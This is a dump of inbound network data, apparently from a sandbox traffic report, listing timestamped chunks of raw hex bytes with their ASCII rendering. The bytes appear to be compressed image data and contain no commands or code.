17 74 fa 1e 27 4d 9c 10 02 05 d5 5d ab 02 43 27 24 df 91 82 e7 5a b7 69 1b ea 33 21 39 8e 54 b7 da 3a 4e 52 60 dd 8c 
e4 bc 4a c1 a9 aa 9f be 6f 05 c0 4e 9f 3e 35 b4 5e a7 07 9e ca 97 af 18 82 0f 8b 16 29 1a f2 d5 f6 ab a0 47 6d 47 5e f7 af 
bf fc 3c 04 f7 a8 ab d9 f4 f2 ec 69 7d 8a 5a d9 52 4b 7a 7a 80 52 dd 6c ee 0d fd ce 75 ad 4b 2d 3d ea a1 32 3d a4 72 38 
5c f7 fb dd 7d f7 d9 c8 91 23 ec 87 3f fa 51 72 5c ba 63 db d5 6f 4f 01 6e 0a a0 72 3a c6 7d f1 c5 17 92 f5 b8 ca 8e ee 71 
74 b8 96 ac c0 2a ed 1b 06 0e 18 10 82 f8 ce 3f ff 82 d0 2b 88 e8 c1 c7 1b 6f bc 21 39 56 ec 6a 77 24 c7 b0 69 3a 1f d7 
79 79 c7 4e 9d ec d7 bf fe 4d 18 36 6a d4 28 7b e2 f1 
Data Ascii: ]@&IApw6I]Sf[t'M]C'$Zi3!9T:NR`JoN>5^)GmG^<i}ZRKzzRluK-=2=r8\}#?Qr\coOnr:}qt*?+o!9Vjw$i:yyNM6j({
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2022-05-27 06:46:23 UTC 377 IN Data Raw: eb 75 38 aa 53 66 68 0e fd 8d d1 3a 5f b8 60 81 ad 5f bf 2e 7c 4f 55 92 e5 d1 31 b4 1e 26 50 9d eb d7 6f 18 be 
07 59 b4 70 81 4d 99 32 d9 ea d5 ab bf 53 40 5f 4c db 86 82 0d 97 2f 5b 96 6c 23 9b 42 57 ad 6a 59 ba 5e fd fa 21 38 6f 
ee 9c 39 56 a3 46 f5 b0 bd 94 2a 5d 3a 33 d7 c1 35 62 d8 d0 d0 42 5b 9a 82 ef b4 6d 37 68 d8 78 97 f5 aa f5 ad d6 eb 16 
68 dd ad 5b 1b 82 1a 75 be 57 ad 5a 75 5b 92 7c 27 6a 91 4e 2d c2 29 f0 ce 69 7d 68 bd 2e 98 3f 2f 04 cb 6d de b4 39 9c 
17 54 a8 50 31 04 a7 2a 10 55 66 cc 98 6e 0b 92 fd bd 7e 1f ea 56 d6 ad 59 bd ca a6 ab 75 ba 64 dd aa 95 c3 46 8d 9a 
58 d9 cc 71 e1 aa 95 2b 6c ca e4 49 e1 a1 83 56 ad db 85 a0 bf b8 55 45 7d 6f 0b e7 cf b7 32 c9 76 d6 ba 4d bb 64 79 76 
5e f7 39 dd 44 cf 0b df b9 96 4d cb 5d 27 a9 93 1e 6e 98 
Data Ascii: u8Sfh:_`_.|OU1&PoYpM2S@_L/[l#BWjY^!8o9VF*]:35bB[m7hxh[uWZu[|'jN-)i}h.?/m9TP1*Ufn~VYudFXq
+lIVUE}o2vMdyv^9DM]'n

2022-05-27 06:46:23 UTC 381 IN Data Raw: fc f3 ec 94 53 4e 0d 0f c4 ea a1 8d 89 13 27 6e bf 6e b8 fd 1a e3 9b 6f 84 f2 ce 3b ff fc 70 2c b7 e3 1a e3 a2 9c 
69 33 f9 87 6b 8c ff f8 7b 38 de d4 03 b3 3b 5d 63 fc e7 23 a1 3b de 3d 5d 63 04 00 00 00 00 1c 1e 74 ae 37 79 f2 94 70 
cd 50 e7 83 07 42 b1 bb ee bc f3 ee cc 7b 00 d8 85 2e 6c 4d 9c 30 c1 da b6 6b 17 5a b5 db bc 79 4b b8 d1 d9 a7 4f ef d0 
b2 49 f3 16 2d ac 7b f7 ee a1 05 38 5d ec d2 d3 ae 27 9c 78 62 68 99 a4 73 e7 2e b6 6e dd 7a 1b 3d 6a 94 d5 ad 5b cf ea 
d5 af 1f 9e 26 55 2b 2c 1f 7c f0 be 75 eb d6 3d 3c 0d db 2d 99 5f d3 ab 35 bd 75 eb d7 d9 a4 a4 4c b5 a2 72 fc 09 27 84 
3c 3f fd e4 d3 f0 b4 ec 35 d7 5e 1b 9e c2 6d df a1 43 98 be 7b f7 1e e1 06 ee b8 71 63 ec b4 d3 4e df 6d 6b 78 f5 1b 34 
b0 8a 95 2a da 82 f9 0b 42 2b 2a 6a 4d 65 c3 fa 0d 
Data Ascii: SN'nno;p,i3k{8;]c#;=]ct7ypPB{.lM0kZyKOI-{8]'xbhs.nz=j[&U+,|u=<-_5uLr'<?5^mC{qcNmkx4*B+*jMe

2022-05-27 06:46:23 UTC 385 IN Data Raw: 11 c3 ed dd 77 7a d9 d1 47 1f 6d 3d 8f 3d 36 eb 3e 51 74 5e a7 63 3d 3d 78 7a e2 89 27 86 7d eb b4 69 d3 6c 
cc 98 d1 d6 ba 4d 1b 6b dd ba 75 66 ca 9c 73 41 5d 17 d4 39 63 db b6 ed 42 ab c3 6e ed ba b5 e1 18 6e 54 b2 3f d6 f5 
b3 b1 63 c7 da 47 1f 7f 14 7a 7d 28 56 ac 78 38 16 d4 3c 3a fe d3 35 35 5d 8b 53 9d 74 5c 19 3f 34 bb 64 f1 92 cc f1 62 
39 eb 90 39 5e 0c d7 18 e7 e4 76 8d b1 c6 8e 6b 8c c7 1f 6f 65 ca 96 0d d7 18 c7 8e 19 9b 73 8d 71 c4 8e 6b 8c 1f 7e 90 
b9 c6 d8 74 cf d7 18 01 a0 b0 98 33 7b 56 b8 bf d1 a0 41 c3 70 3e 0d 00 00 70 b8 51 f0 9c 1e c8 fa db 83 7f 0b 0f e0 d7 
aa 55 db 6e bf ed e7 c9 f9 6a ab ac c7 37 3a d7 2c 5f be 7c e8 e9 67 c2 c4 09 36 79 f2 e4 d0 1b d8 51 47 75 b4 8a 15 2b 
e6 7a 7e bc 37 08 c2 03 b0 5b ba 61 ab 00 30 05 7f 35 68 d0 
Data Ascii: wzGm==6>Qt^c==xz'}ilMkufsA]9cBnnT?cGz}(Vx8<:55]St\?4db99^vkoesqk~t3{VAp>pQUnj7:,_|g6yQGu
+z~7[a05h

2022-05-27 06:46:23 UTC 389 IN Data Raw: f2 3c c5 5f 01 00 00 b0 f7 08 c2 03 00 e0 c0 20 08 0f 00 50 68 11 84 07 00 00 8e 44 e9 00 88 38 b8 46 69 d3 
a6 4d db 03 6d 34 3c 0e 8c 50 90 83 07 44 c4 af 1e fc e0 79 fa bc fe de cb f3 f9 3d 15 2f 5e 3c e4 e1 c3 9d cf 13 e7 e3 79 
88 a6 8f f3 8a 87 c5 fc b3 cf e7 f5 f1 e4 cb e7 e3 c5 f3 f4 e4 cb 28 e9 fc 63 9e 4f 9c b7 bf f7 fc bd 8e f1 7a f3 57 f1 3c 3c 89 
4f a3 79 b2 ad 6f 25 2f 23 db ab 52 b6 ef 42 94 8f 92 e7 ad ef 23 9d 34 dc a7 53 4a e7 ab e4 c1 9b 3e cc f3 17 9f 2f ae b7 
78 3e 7a f5 79 e3 f9 c4 97 3b 7e 8d eb 21 71 3d f4 de f3 89 cb f5 f9 7d 79 3c 79 7d bc 2e 9e 8f 92 86 79 3e 71 1e 9e af 8f 
f7 e9 7d 1d f8 6f c7 eb e1 3c 0f 4f 5e b6 78 5e 71 92 b8 ec 6c f3 6a 3a 2f 2b 2e d3 e7 17 9f 5e 75 d7 7b bd a6 d7 83 e7 2b 
be 6c ca cb 97 27 5e 36 7f af e4 65 
Data Ascii: <_ PhD8FiMm4<PDy=/^<y(cOzW<<Oyo%/#RB#4SJ>/x>zy;~!q=}y<y}.y>q}o<O^x^qlj:/+.^u{+l'^6e

2022-05-27 06:46:23 UTC 392 IN Data Raw: 49 49 ca 15 00 00 ff f4 49 44 41 54 af 86 2b 79 79 7a f5 24 3e 5e 49 7c 3a cf df 53 3c bd ea 18 d7 33 2e 4f 49 
e3 34 9d e6 f3 f5 ec db 8f af 73 d1 74 9a 5e eb d5 d7 f3 ee b6 9f b8 2e 5e 8f b8 0e 3e af 92 0f d3 ab a6 d1 b4 a2 f9 55 be 
d7 cb eb a3 e1 a2 e9 e2 7a c5 29 ce cf df c7 e5 fa 30 cf c3 d7 69 5c d7 b8 be 9e 97 d7 cf e7 f1 57 25 2d ab 27 1f 16 e7 e1 
e5 a6 f3 f3 f7 71 be ce d7 a7 5e 45 e3 e2 b2 3d 79 5e 71 9e 9e 3c 6f 7f 4d 8f f3 e1 a2 72 b4 8e 7d 3d c7 eb db cb d4 f4 be 
1c 5a 26 e5 a3 e1 9e 87 cf a7 e4 df 5b bc 4d 29 69 1a 4f be ce 7c 19 01 00 00 b0 f7 08 c2 03 00 e0 c0 c8 b9 4a 02 00 00 
00 00 00 0e 7b 0a 82 88 93 07 3e 78 20 45 1c 54 e1 ef f5 ea 01 13 9e e2 71 3e 3e 0e 10 89 93 4f 1b 97 99 ae 8b 86 a5 f3 
f1 7a 88 82 2b b2 05 66 28 e9 73 1c 80 91 5e 
Data Ascii: IIIDAT+yyz$>^I|:S<3.OI4st^.^>Uz)0i\W%-'q^E=y^q<oMr}=Z&[M)iO|J{>x ETq>>Oz+f(s^

2022-05-27 06:46:23 UTC 396 IN Data Raw: 08 7f d5 30 cf c7 83 37 3c c5 41 17 e2 c1 15 9e 7c b8 4f e3 9f 45 e3 55 cf 38 f0 c3 03 3c 94 34 dc f3 50 39 5e 
96 bf aa 3e 5e 27 05 b2 c4 01 78 fe de 83 6a 7c f9 bc dc 38 89 d7 cd 53 4c 9f 35 af 2f b3 07 b7 78 f9 3e bd e7 e7 cb e4 79 
79 1d fd d5 eb 91 a6 e1 9e 77 1c bc e6 65 39 5f 2f 4a 5e 2f 4d e3 cb 1a cf a3 f1 5e 9e d7 cd d7 75 fc aa 71 e2 75 f6 e4 e2 
79 3d c5 df 95 8b eb 13 a7 78 1d 78 9d 94 54 86 2f 8b e8 55 c3 7c bc e6 f5 f9 94 bc 4e d9 ea e3 79 f8 b4 e9 79 3d 69 98 
a7 b8 7e 71 7d e2 75 ec f5 d1 34 71 9e 1a 26 e9 7a e8 b3 f8 3c e9 b4 bb 65 50 f2 e5 d0 74 5e 1f 9f d6 eb e5 e3 95 9f ea 
13 6f 2f fe 1a 97 a7 e4 f3 ab 8c f8 b7 a6 61 71 7e 71 4a cf e7 af aa 83 c6 65 5b 2f 9e 34 ce c7 eb d5 eb e1 7c b9 7c b8 a6 
f1 3c fc 7b c9 96 d2 eb 5f 54 af 78 7b 4c 2f 
Data Ascii: 07<A|OEU8<4P9^>^'xj|8SL5/x>yywe9_/J^/M^uquy=xxT/U|Nyy=i~q}u4q&z<ePt^o/aq~qJe[/4||<{_Tx{L/

2022-05-27 06:46:23 UTC 401 IN Data Raw: a7 dd e9 03 ae e6 4e 2c e6 50 8c b3 dc e5 02 3b 67 9f a2 14 d8 39 73 31 8e 7d e2 2f a7 1e f6 ce 81 fe f4 bd fe 
57 ae b8 d2 bf ea 6f 0b da d8 9e 45 37 2b 60 ab df f5 f5 54 9f 16 7b db d3 27 38 bf 6b 3b 5e f0 a3 ec f8 ae ef 58 4e bf f6 
d1 a3 af cd 19 7b f5 b6 05 d7 68 3d 4b 5b e7 45 ff ca 82 de da 3c b2 7b 24 ea 6f 0b eb 4f ff ce 6d 1f f4 e5 9c fd 53 c7 d6 fe 
a2 fe 8a f3 b2 b6 67 bb 7a 8b 36 8a 7a f6 57 9e 03 76 b2 7d ed b7 45 8c 0b db 5f f6 cf 8c 6d d5 3f 05 ce 38 e7 cf a5 6b cb 
95 2f 64 d1 86 f9 ed 2f c6 38 45 d4 5f 3b fb ea 3d 65 bb 7f 36 d3 3f ff ac 96 ed 47 44 44 44 c4 cb a9 08 2f 22 22 e2 7d a8 
08 2f 22 22 3e 2c 15 e1 45 44 44 c4 b7 cc 16 3c 6c 01 c4 ce c3 55 71 c3 69 bb 2d ec dc ce 83 fe b6 88 62 fb 72 da ae cf 
d5 5d 1f 57 dc cd 0b eb 57 fe 4e ee f2 
Data Ascii: N,P;g9s1}/WoE7+`T{'8k;^XN{h=K[E<{$oOmSgz6zWv}E_m?8k/d/8E_;=e6?GDDD/""}/"">,EDD<lUqi-br]WWN

2022-05-27 06:46:23 UTC 405 IN Data Raw: 7c 57 fe fb bf ff fb 77 ff f2 2f ff f2 c3 4c 44 44 44 7c 0e 2a c2 8b 88 88 0f 4b 45 78 11 11 11 11 5f 27 14 a3 58 e4 
42 d1 89 85 35 16 1b ad 6c 61 0a 36 5b 6c 02 cc 63 bf b6 14 70 61 b7 b6 da 6f 5c 0b 68 4e 71 0d bf db 32 af 0f 30 0f c7 
c6 00 5a d6 29 92 51 56 1f 5d 7c 9e fb b6 18 c7 98 67 ee 0a ec 59 ec 9e f0 a1 4f fd 6d fe 6b 07 cc ad fd ee db be 72 8e b5 
41 3c 73 45 dd 33 5f cf 82 f9 cd d9 02 4a 0b f0 10 7c a0 83 78 16 67 4c 5a f4 3c a7 8d 61 1f 58 d7 4e ff c6 30 8e 3e f6 4c 
36 1e b2 b9 a8 ab fe ea 21 cc 01 79 58 48 45 f1 dd 0a 73 e6 88 1f fc 7b 86 67 9e fa 44 0f dc 23 62 1e 9b 2f 36 9e 91 79 af 
2d 71 3d 2b 60 0d 9d 73 2f bb 67 a1 cf 3c 42 1c 72 f4 b9 9b eb 99 8b f9 d0 ea 13 36 97 3d 8b 33 c6 fa 65 6d f7 02 ce b9 
be f6 8a f6 0a 60 bf 02 da 6e ce 9b fb 
Data Ascii: |Ww/LDDD|*KEx_'XB5la6[lcpao\hNq20Z)QV]|gYOmkrA<sE3_J|xgLZ<aXN0>L6!yXHEs{gD#b/6y-q=+`s/g<
Br6=3em`n

2022-05-27 06:46:23 UTC 409 IN Data Raw: 11 59 1b fc 9e e7 62 eb f9 d0 ae 8d 7d 24 22 22 22 22 be 3d 2a c2 8b 88 88 78 1f 2a c2 8b 88 88 0f 4b 45 78 
11 11 11 11 5f 0f 16 9b 58 48 b3 05 45 16 d6 58 80 42 b1 8c 05 4b 16 cf 6c 01 cd 16 a4 d8 df 16 59 3b fa ae 6f c1 8a c5 
2c 88 fa b6 ce a3 83 98 9f f6 f6 77 8c 3e 71 b0 a7 48 e9 2c 58 42 d4 07 cf c4 73 31 2f f7 a0 8f f3 b7 e0 19 4f 3b 5a 61 de 
1c 8c ed 9e 14 fd ab 77 ce b3 0f 73 31 5f f7 a6 0d 3e e9 b3 8e 80 36 da 69 43 ab 38 6f ab af cd d5 7c 4f 9b 1d 6f 6e e7 fa 
29 ac ab 8b 98 ab f3 ee c9 33 58 3b 6d 18 ef de f7 b9 30 d6 4e f4 af ad fe b5 a7 35 06 02 fb 2e f0 73 81 58 7c 47 cb bc 02 
fa 3e fd 2b e6 64 0c fb 9b 1b a2 af 1d 83 e3 8d e1 f3 61 df f8 37 c6 da af 8d 72 c6 dd 7c ae 74 d5 43 3c 17 df 73 e6 6c f5 
b5 ad 7e 7c 5e e6 6d ff 2e ce 95 ac ef f5 b7 
Data Ascii: Yb}$""""=*x*KEx_XHEXBKlY;o,w>qH,XBs1/O;Zaws1_>6iC8o|Oon)3X;m0N5.sX|G>+da7r|tC<sl~|^m.

2022-05-27 06:46:23 UTC 413 IN Data Raw: f8 b0 54 84 17 f1 f1 b1 a0 0e b1 00 6f 8b f0 fe f6 b7 bf fd 3f 85 78 8a f6 11 11 11 11 11 11 11 11 9f 13 8b ef ec 
5b 64 67 e1 dd cf 7e f6 b3 7f 28 c2 a3 55 4f 9b 88 88 d7 52 11 5e 44 44 c4 fb 50 11 5e 44 44 7c 58 2a c2 8b f8 f8 6c 51 dd 
59 80 87 50 84 87 38 af 9e c5 77 b6 11 11 11 11 11 11 11 11 9f 8b b3 08 6f 8b ed 10 8b f0 6c 59 d3 66 6d 23 22 5e 43 45 
78 11 11 11 ef c3 ff f9 bf d0 44 44 44 44 44 7c 10 ae fe 62 fa ae e8 ae bf c4 8e 88 88 88 88 88 88 88 f7 c0 bf 93 b8 fb bb 
08 e7 fb 3f 0c 46 44 44 44 44 7c 9d f4 9b f0 22 22 e2 c3 d2 6f c2 8b f8 f8 f0 17 d3 8a bf 09 cf df 7a e7 3f 45 7b fe 26 bc 15 
7d 44 44 44 44 44 44 44 44 7c 0e 2c ae a3 55 f8 4d 77 fb 9b f0 f6 b7 e0 ed 6f c2 a3 d5 36 22 e2 b5 f4 9b f0 22 22 22 de 
87 8a f0 22 22 e2 c3 52 11 5e c4 c7 e7 
Data Ascii: To?x[dg~(UOR^DDP^DD|X*lQYP8wolYfm#"^CExDDDDD|b?FDDDD|""oz?E{&}DDDDDDDD|,UMwo6""""""R^

Timestamp
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2022-05-27 06:46:23 UTC 417 IN Data Raw: b1 9c db 79 44 fb d3 e7 29 a7 0e ac af 13 75 e4 4a e7 c4 9c 4e 31 7f d9 3c 4e 39 d7 45 7b 7d ca a9 07 ac fb 6c
78 ff f7 bf 33 3e 3b d0 d6 67 b6 cf ee 4e d0 d1 ce b8 b6 40 6c 63 ec bb 74 95 b3 7b 71 cd d6 f5 3b bf fa 06 74 c8 69 f7 20 
d8 98 83 71 8c b1 e3 d5 01 63 eb 8b 79 63 ae a8 0f 9e 0b 68 2f fa 32 bf ed 7b ae a7 a8 27 c6 f4 cf 34 5a 9f b1 b9 9f 71 18 
9b 3b 2d f6 bb 4f 75 29 c0 f3 67 15 01 f5 95 8d 03 e6 b7 71 80 56 11 d6 11 d1 0f 2d 22 fa db 3f 37 f4 0f ee f7 6e df c8 69 
03 ea a9 ab 88 b9 6c ab cf 3d 97 f3 5c cd 63 7f be 18 73 5e 8b b1 36 e6 c2 3c 82 7f fb 40 0c b8 cb df 5c 68 11 ec cd 95 67 
ea 73 65 5e df e8 01 fd 88 88 88 88 88 e7 52 11 5e 44 44 c4 fb 50 11 5e 44 44 7c 58 2a c2 8b 88 b7 c4 cb 53 84 cb 54 2e 
68 bd b0 e5 32 5d f1 f2 d6 8b d6 bd 50 55 
Data Ascii: yD)uJN1<N9E{}lx3>;gN@lct{q;ti qcych/2{'4Zq;-Ou)gqV-"?7nil=\cs^6<@\hgse^R^DDP^DD|X*ST.h2]PU

2022-05-27 06:46:23 UTC 421 IN Data Raw: 3b 1b e3 c9 ea 6a bb 7b 43 7c 06 9b 0b a2 fd b2 eb a7 b8 be 98 f3 19 13 71 ed f4 83 b8 e6 ba 78 c6 5b c4 81 
b8 ef 2b 5b 6d 7c 1e 7b 46 67 3c fb b6 e4 b9 cf 4a d1 4e 91 1d 9f 7d d9 b9 33 16 72 f6 59 5f 39 f5 68 d5 7b 29 eb f7 2a d6 
ea 18 07 f1 3c f6 6c 36 87 fd 39 b8 fb 59 d0 46 d6 c6 be cf 0e ec ef 33 3c 73 73 ac 0e fa 0a e3 53 ff b4 7b 6a 7d 63 9e 02 
c6 74 1f 5b 48 76 17 ff 1c 9f f3 fa 3e d1 d7 95 9e fb 57 76 ce 5c ce 76 d7 91 dd c3 fe ac ed 7e 64 f3 5e 21 27 fd c2 19 6b 
b9 8a 89 68 83 bf 7d e7 10 e3 08 7a e8 6f 1c 38 cf 6a 59 9d 13 fd d1 6e 5e 9e 01 02 eb db fe b2 b9 88 ba 6b b3 72 fa d2 
9e 98 c6 df 3c 58 47 d7 33 da 76 f7 6c 2e da d2 b7 dd 75 45 ff 8a 7a 57 b9 a9 7f da ed d9 ed 19 9e f9 eb c3 7e 44 44 44 
44 c4 23 2a c2 8b 88 88 78 1f fe ef bf 5f 10 11 
Data Ascii: ;j{C|qx[+[m|{Fg<JN}3rY_9h{)*<l69YF3<ssS{j}ct[Hv>Wv\v~d^!'kh}zo8jYn^kr<XG3vl.uEzW~DDDD#*x_

2022-05-27 06:46:23 UTC 424 IN Data Raw: ca 19 50 fc 76 0a e7 c3 3a 3e e1 8c b3 39 82 79 ed 33 75 4c df 79 05 7d 6c 89 c1 33 a0 d0 87 98 5b 84 c7 ba 
f6 0a 63 f3 37 b6 30 67 9e db 5e cd 63 6b 7c df 4d 64 f7 bc b1 f7 7d c2 07 3a e4 88 be b9 d2 2e e8 5e 09 f6 b4 cb fa b0 3d 
e7 c0 bd 28 ab 7b b5 17 85 75 6d 88 bd 67 8a 9c 7b 5b bf 88 73 bb 66 3c fd 23 80 1f cf ce 9f 4d 5a 84 35 f7 7e fa 84 cd d1 
7c e0 4a 17 5c 37 47 da 3d 83 cd 0f d0 df e7 8a 6c ac f5 6f eb 3a 76 e8 18 13 ce 5c 5c d3 0f 71 3d a7 cd 87 35 74 f1 eb 39 
99 cf d5 7b e6 fe 10 d9 58 b6 a7 9e 31 6c 11 e7 b7 05 6c cc d5 3f 23 af 7e 2e 15 6d 22 22 22 22 22 9e 43 45 78 11 11 11 
ef 43 45 78 11 11 f1 61 a9 08 2f 22 de 92 bd 30 f5 22 95 8b 5a 64 2f 6f ed ef 25 ee c9 79 f9 7a a5 23 e7 9a 97 bb 8a 73 db 
8a 3a 1b 47 59 d4 7b 24 cb fa 3b 2f 94 45 3b 
Data Ascii: Pv:>9y3uLy}l3[c70g^ck|Md}:.^=({umg{[sf<#MZ5~|J\7G=lo:v\\q=5t9{X1ll?#~.m"""""CExCExa/"0"Zd/o%yz#s:G
Y{$;/E;

2022-05-27 06:46:23 UTC 428 IN Data Raw: 37 7f 42 8c 33 f7 73 0f 42 1f 71 cd 56 5c 47 dc a3 f3 e8 ae 6c 8c 2b f4 b3 ac dd 8a 68 b3 b6 77 63 d0 f6 dc f7 
e9 17 b4 91 5d d7 27 e2 f3 f5 5d bc 92 88 88 b7 a4 22 bc 88 88 88 f7 a1 22 bc 88 88 f8 b0 54 84 17 11 11 5f 1b 7b 99 b3 
72 75 89 74 5e cc 38 0f 7b 71 c3 e5 0e dc 5d e6 ac cf 95 45 5b 45 9f 0b 39 ee c5 a7 97 8c a2 9d 3e c4 78 d8 80 eb ab 0f 
ab b7 2d 72 c5 ae ad 3f 84 cb 2e fb fa 07 6d 1e f9 b4 3d 75 f4 65 1c 5b a0 bf b6 9b fb 8a f6 eb 43 59 d4 b7 2f 57 fa ac 13 
ef 4a 96 33 de dd 18 6c af 30 37 74 36 37 39 6d af 7c e9 e3 ec a3 ab 9c f9 21 cb 39 7e 4f ce 7d ef 5e 64 f7 b4 2d ec 1c 7a 
af dd cb c6 d8 1c d6 df a3 3c 7e 4c cc d3 fc e0 9c fb d2 72 8e 78 c4 f9 de 3a de 79 df f1 ab 71 44 fc 23 fb 33 84 f8 6d c3 f7 
e7 df fe f6 b7 bf f7 ef be 79 56 ce ef 42 
Data Ascii: 7B3sBqV\Gl+hwc]']""T_{rut^8{q]E[E9>x-r?.m=ue[CY/WJ3l07t679m|!9~O}^d-z<~Lrx:yqD#3myVB

2022-05-27 06:46:23 UTC 433 IN Data Raw: f6 55 1c fb ca a9 7f e6 7b ca ea 5e c9 53 3a fa 59 39 cf d2 16 31 6f 39 73 df 3d 20 6b ab ac be 62 6c e4 6a af 
6b 6b 7b 8a 3a ca da ae af 2b 39 6d 76 4e d9 18 67 6c d7 ce b1 a2 3f 7d 9f 7b 54 4f 5b 39 c7 e0 3b 16 11 11 11 1f 87 f3 bf 
f7 7e 03 ec b7 c0 39 a7 f8 0d e1 f7 c4 7e 57 d0 02 df 0f 5b 6c b5 72 7e 5b ac ef 47 a2 ee c9 dd dc 23 39 75 c8 db 6f a4 fd 
5e b2 5d dd 53 ee d6 3f 95 fd d6 b7 3d fd aa 73 8a d0 37 1f f2 dc 3d 29 ae af ed 95 cd cf 7f fe f3 ef e5 17 bf f8 c5 3f 88 f3 
fb 3d 7f fa 46 e0 2a 3f d8 78 f8 50 f4 73 e5 77 c7 ce 9d 12 11 11 11 11 11 5f 27 15 e1 45 44 44 44 44 44 fc c8 78 d1 b2 17 
3b cc ed e5 8c 17 38 7b 39 b3 a2 ce 0a 17 4a 5e 2e 79 c1 74 37 77 ca ea ac de e6 71 e2 e5 94 fb 38 2f a7 16 e7 10 fd d1 
2a bb be e2 ba fb b3 bd 12 cf 61 75 91 
Data Ascii: U{^S:Y91o9s= kbljkk{:+9mvNgl?}{TO[9;~9~W[lr~[G#9uo^]S?=s7=)?=F*?xPsw_'EDDDDDx;8{9J^.yt7wq8/*au

2022-05-27 06:46:23 UTC 437 IN Data Raw: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 5e 49 45 78 11 11 11 11 11 11 11 11 11 11 11 11 
11 11 11 11 11 11 11 af a4 22 bc 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 57 52 11 5e 44 44 44 44 44 
44 44 44 44 44 44 44 44 44 44 44 44 44 c4 2b a9 08 2f 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 e2 95 54 
84 17 11 11 11 11 11 11 11 11 11 11 11 11 9f 8d ff fd df ff fd 5e 9e e2 b9 7a ef 85 f9 bc 46 22 22 22 22 22 e2 db a2 22 bc 
88 88 88 88 88 88 88 88 88 88 88 88 f8 51 a9 70 2d 22 22 22 22 22 be 66 7e f2 87 3f fc a1 ff 55 13 11 11 1f 92 3f fe f1 8f 
df fd ee 77 bf fb ee 37 bf f9 cd 0f 33 11 11 11 5f 27 2f b9 8c fa c9 4f 7e f2 43 ef cb e3 6a 1f ef 95 ef d7 72 a1 b7 e7 f1 35 5d 
42 7e c9 ef 5d 44 44 44 c4 23 3e ca b7 f6 a7 f2 35 
Data Ascii: """""""""""""""""""^IEx"WR^DDDDDDDDDDDDDDDDDD+/""""""""""""""""""T^zF""""""Qp-"""""f~?U?w73_'/O~Cj
r5]B~]DDD#>5

2022-05-27 06:46:23 UTC 441 IN Data Raw: a1 c7 56 f4 7a d4 79 47 d8 4c 5f bc 84 cb cb b7 fe 67 c8 78 11 17 f0 c7 5e f0 99 f1 c0 de c9 37 6d e7 94 36 63 
2b 05 6c 23 58 cd f7 be b0 8d 4d bf 40 cc 1e a2 8c b1 07 7c b5 4f 11 11 11 91 0f 01 df 61 d2 f2 bd 86 ef 57 dd f2 bd a7 bf 
07 f1 bd 8a 36 c2 17 f3 51 be 6b c6 07 df 3b d3 9f 31 da 07 7e 80 31 fc c5 9e b5 2d c6 b1 69 5f 7c ef 9a df c5 02 76 59 43 
8e fc 05 bc 88 9c db 67 34 73 e6 3a 74 8c 8e 35 61 8e bc f8 be 0b ed 1f df a1 7d d2 9f ea bd 4e 3f ad b0 1a 3f 52 58 c5 89 
a0 6d c3 b4 e9 3d f7 f7 67 be fb 47 cc f7 3a 11 91 4b 61 11 9e 88 88 c8 75 f8 fb ff ca 11 11 11 11 11 11 91 27 0b 2f 64 fa 
05 4d c8 0b 1f 5e d4 45 bc 9c eb 97 69 53 6d 93 6b 6c 5b ab 71 5e d2 b5 af 08 7f ab 31 5e 12 9e d2 5c 3f e3 b6 da 3f 62 ff 
f3 25 58 d3 67 18 e6 d9 9d f2 c1 f8 b4 
Data Ascii: VzyGL_gx^7m6c+l#XM@|OaW6Qk;1~1-i_|vYCg4s:t5a}N??RXm=gG:Kau'/dM^EiSmkl[q^1^\??b%Xg

2022-05-27 06:46:23 UTC 445 IN Data Raw: cf e4 52 df ff 1e 7a 2f 56 7b b8 34 0f cd 0d 3a a7 c7 c8 4f 44 e4 14 16 e1 89 88 88 5c 87 ff ff cf 06 88 88 88 88 
88 88 88 5c 91 bc 7c 9a 62 3c 7f e1 0e 7d f2 c9 27 ff 23 c6 d3 4e 1f d1 ad b2 da eb 43 d4 ac e6 ef a3 66 5e 8b 88 88 88 
7c 4c cc ef 49 ad fb b0 5a df 7a 08 bb b5 3d 46 ff a1 31 de 97 87 c6 cd ba d6 63 30 63 dc 57 d0 7d 11 11 11 11 11 b9 3d 
fc 4b 78 22 22 72 b3 f8 97 f0 44 44 44 9e 3e bb bf 2a 71 ee 5f 9b d8 bd c8 ba c5 17 5c 97 fc 0b 1c cd 43 fd fa 12 51 44 44 
44 44 e4 bf f0 bd da ef c9 22 f2 d4 f0 2f e1 89 88 88 5c 07 ff 12 9e 88 88 88 88 88 88 7c 30 fa 05 55 fa 5c 77 bb 53 b3 1a 
93 ff 72 e9 b3 f1 ac 45 44 44 44 44 44 44 44 44 44 44 fe 8b 45 78 22 22 22 22 22 22 f2 41 d9 15 d0 9d 2a f4 62 be ed 76 
be 6e 01 f6 f6 10 1d b1 b2 3f 25 11 11 11 11 
Data Ascii: Rz/V{4:OD\\|b<}'#NCf^|LIZz=F1c0cW}=Kx""rDDD>*q_\CQDDDD"/\|0U\wSrEDDDDDDDDDDEx""""""A*bvn?%

2022-05-27 06:46:23 UTC 449 IN Data Raw: 7b 80 df 08 1b 72 8b 7a 3d fd 28 10 9f 1c f1 37 fb f8 27 d7 ac 4f 6e 39 9f 29 ce 83 7d c4 9e 58 f8 99 7e a7 b0 
25 3f ae f1 43 8b ef 86 31 f2 4c 4b 1f 75 8e d8 c7 5f 72 9a cf 78 e7 01 ac 09 9d 4f 34 f3 8e 80 5c 56 82 b6 0f 3b 9b c4 49 
7e 88 f3 89 5d f6 95 7b c1 b3 9c 36 d7 b9 67 21 b6 fd 73 23 3f 33 d2 f2 cc 66 ef 73 1f 22 22 22 22 22 22 b7 86 45 78 22 
22 22 d7 c1 22 3c 11 11 b9 59 2c c2 13 91 4b d2 c5 01 29 6c c8 0b 7e 8a 78 52 78 97 02 3c fe 1a 5e ae 33 47 51 09 2f f6 
29 24 a0 e0 81 62 82 ee 77 31 c0 8c 8b 1a ae bb 3d 1a 03 f2 21 1e 7d e6 ba 65 7d 17 74 a4 8f cf ac a3 c8 21 a2 30 8a 02 
87 88 7e ef 35 fe 5b 1f 33 9c 65 5a ce b7 0b 7f 52 5c 92 67 8d 22 bc 28 f3 3c 63 59 c7 19 ce 73 45 39 77 ee 05 f7 8a fb 92 
79 62 13 0f e5 3a e3 99 cf 7d 9b cf 6b c6 79 36 
